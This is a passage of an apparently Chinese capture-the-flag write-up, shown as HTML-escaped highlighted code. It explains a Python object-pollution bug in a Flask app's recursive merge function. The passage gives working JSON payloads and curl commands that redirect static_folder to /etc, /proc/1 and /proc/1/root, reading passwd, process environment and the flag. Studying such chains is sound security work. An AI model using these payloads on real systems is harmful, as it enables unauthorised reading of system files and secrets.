&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;                merge&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;v&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;get&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;            else&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-meta z-indexed-name z-python&quot;&gt;                dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;]&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; v&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;        elif&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt; hasattr&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-logical z-python&quot;&gt; and&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt; type&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;v&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt; dict&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;            merge&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;v&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt; getattr&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;        else&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;            setattr&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; v&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;class&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-type&quot;&gt; Dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;    def&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-magic z-python&quot;&gt; __init__&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter z-function z-language z-special z-self z-python&quot;&gt;self&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;        pass&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;Game0x&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt; Dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-decorator z-python z-entity z-name z-function z-decorator z-python&quot;&gt;@app&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-decorator z-python&quot;&gt;route&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; methods&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;POST&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;GET&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;def&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; index&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; request&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;data&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;        merge&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;json&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;loads&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;request&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;data&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;),&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; Game0x&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt; render_template&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;index.html&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; Game0x&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;Game0x&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-decorator z-python z-entity z-name z-function z-decorator z-python&quot;&gt;@app&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-decorator z-python&quot;&gt;route&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;&#x2F;&amp;lt;path:path&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;def&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; render_page&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt;path&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python z-keyword z-operator z-logical z-python&quot;&gt;    if not&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; os&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;path&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;exists&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;templates&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; +&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; path&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;Not Found&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 404&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt; render_template&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;path&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;if&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-variable z-magic z-python&quot;&gt; __name__&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;__main__&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;    app&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;run&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt;host&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;0.0.0.0&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; port&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;9000&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;merge&lt;&#x2F;code&gt; 会把任意 JSON 递归“合并”到目标对象上；当 &lt;code&gt;dst&lt;&#x2F;code&gt; 不是映射时会直接 &lt;code&gt;setattr(dst, k, v)&lt;&#x2F;code&gt;。这使得我们可以构造键路径去触达 Flask 实例 &lt;code&gt;app&lt;&#x2F;code&gt; 的内部对象。&lt;&#x2F;li&gt;
&lt;li&gt;传统思路是：把 Jinja 的 &lt;code&gt;FileSystemLoader.searchpath&lt;&#x2F;code&gt; 改到根目录&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;，再利用 &lt;code&gt;&#x2F;&amp;lt;path&amp;gt;&lt;&#x2F;code&gt; 路由中的 &lt;code&gt;render_template(path)&lt;&#x2F;code&gt; 读取文件。但它前有 &lt;code&gt;os.path.exists(&#x27;templates&#x2F;&#x27; + path)&lt;&#x2F;code&gt; 的存在性检查，单纯的 &lt;code&gt;..&#x2F;&lt;&#x2F;code&gt; 有时难以命中真实路径。&lt;&#x2F;li&gt;
&lt;li&gt;更稳的思路：改写 Flask 的 &lt;code&gt;static_folder&lt;&#x2F;code&gt;，走框架内置的静态文件路由 &lt;code&gt;&#x2F;static&#x2F;...&lt;&#x2F;code&gt;，从而绕过上面的 exists 检查。进而配合 &lt;code&gt;&#x2F;proc&#x2F;1&#x2F;root&lt;&#x2F;code&gt; 指针把静态根指向“进程视角的根文件系统”，实现对容器真实根路径的直接读取。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;li-yong-lian-zong-ti-si-lu&quot;&gt;利用链总体思路&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;对象污染（Object Pollution）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;通过 &lt;code&gt;POST &#x2F;&lt;&#x2F;code&gt; 发送 JSON，利用 &lt;code&gt;Game0x.__init__.__globals__&lt;&#x2F;code&gt; 链拿到模块全局，再取到 &lt;code&gt;app&lt;&#x2F;code&gt; 实例并修改其属性。例如：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;{&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-property-name z-json&quot;&gt;__init__&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;&amp;quot;: {&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-property-name z-json&quot;&gt;__globals__&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;&amp;quot;: {&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-property-name z-json&quot;&gt;app&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;&amp;quot;: {&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-property-name z-json&quot;&gt;static_folder&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;&#x2F;etc&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;}}}}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解释：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Game0x&lt;&#x2F;code&gt; 是 &lt;code&gt;Dst()&lt;&#x2F;code&gt; 的实例，Python 实例有 &lt;code&gt;__class__&lt;&#x2F;code&gt;，类有 &lt;code&gt;__init__&lt;&#x2F;code&gt;，函数对象有 &lt;code&gt;__globals__&lt;&#x2F;code&gt; 可达模块字典；模块字典中保存了 &lt;code&gt;app&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;merge&lt;&#x2F;code&gt; 在路径上遇到对象就递归，最终以 &lt;code&gt;setattr&lt;&#x2F;code&gt; 写入属性值。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;从静态路由读取任意文件（LFI via static）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;Flask 会将 &lt;code&gt;app.static_folder&lt;&#x2F;code&gt; 作为 &lt;code&gt;&#x2F;static&lt;&#x2F;code&gt; 路由的根（配合 &lt;code&gt;static_url_path&lt;&#x2F;code&gt;，默认 &lt;code&gt;&#x2F;static&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;将 &lt;code&gt;app.static_folder&lt;&#x2F;code&gt; 改为目标目录后，&lt;code&gt;GET &#x2F;static&#x2F;&amp;lt;name&amp;gt;&lt;&#x2F;code&gt; 即尝试读取 &lt;code&gt;&amp;lt;dir&amp;gt;&#x2F;&amp;lt;name&amp;gt;&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;关键技巧：指向 &lt;code&gt;&#x2F;proc&#x2F;1&#x2F;root&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;在容器&#x2F;服务场景下，&lt;code&gt;&#x2F;proc&#x2F;1&#x2F;root&lt;&#x2F;code&gt; 是“1 号进程”的根目录的符号链接。将 &lt;code&gt;static_folder&lt;&#x2F;code&gt; 设置为该路径，可以稳定将静态根锚定到容器真实根，而无需猜测应用工作目录与层级。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因此，我们的两步利用为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;第一步：&lt;code&gt;POST &#x2F;&lt;&#x2F;code&gt; 设置 &lt;code&gt;app.static_folder = &quot;&#x2F;proc&#x2F;1&#x2F;root&quot;&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;第二步：&lt;code&gt;GET &#x2F;static&#x2F;flag&lt;&#x2F;code&gt; 直接读取容器根下的 &lt;code&gt;&#x2F;flag&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;xiang-xi-cao-zuo-yu-chang-shi-guo-cheng&quot;&gt;详细操作与尝试过程&lt;&#x2F;h4&gt;
&lt;p&gt;记运行目标为 &lt;code&gt;BASE = http:&#x2F;&#x2F;nc1.ctfplus.cn:19346&lt;&#x2F;code&gt;（实际以赛题为准）。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;先验证可读任意系统文件能力&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;将静态目录映射到 &lt;code&gt;&#x2F;etc&lt;&#x2F;code&gt;，读取 &lt;code&gt;&#x2F;etc&#x2F;passwd&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -s -X POST &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell&quot;&gt;$BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;  -H &amp;#39;Content-Type: application&#x2F;json&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;  --data &amp;#39;{&amp;quot;__init__&amp;quot;:{&amp;quot;__globals__&amp;quot;:{&amp;quot;app&amp;quot;:{&amp;quot;static_folder&amp;quot;:&amp;quot;&#x2F;etc&amp;quot;}}}}&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -s &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell&quot;&gt;$BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;static&#x2F;passwd&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; head&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;若返回 passwd 内容，说明污染链生效且可经静态路由读取。&lt;&#x2F;p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;读取运行信息，论证 &lt;code&gt;&#x2F;proc&lt;&#x2F;code&gt; 可用&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;把 &lt;code&gt;static_folder&lt;&#x2F;code&gt; 设置为 &lt;code&gt;&#x2F;proc&#x2F;1&lt;&#x2F;code&gt;，读取 &lt;code&gt;cmdline&#x2F;environ&lt;&#x2F;code&gt; 等：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -s -X POST &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell&quot;&gt;$BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;&amp;quot; -H &amp;#39;Content-Type: application&#x2F;json&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;  --data &amp;#39;{&amp;quot;__init__&amp;quot;:{&amp;quot;__globals__&amp;quot;:{&amp;quot;app&amp;quot;:{&amp;quot;static_folder&amp;quot;:&amp;quot;&#x2F;proc&#x2F;1&amp;quot;}}}}&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -s &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell&quot;&gt;$BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;static&#x2F;cmdline&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; tr&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;\0&amp;#39; &amp;#39;\n&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; head&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
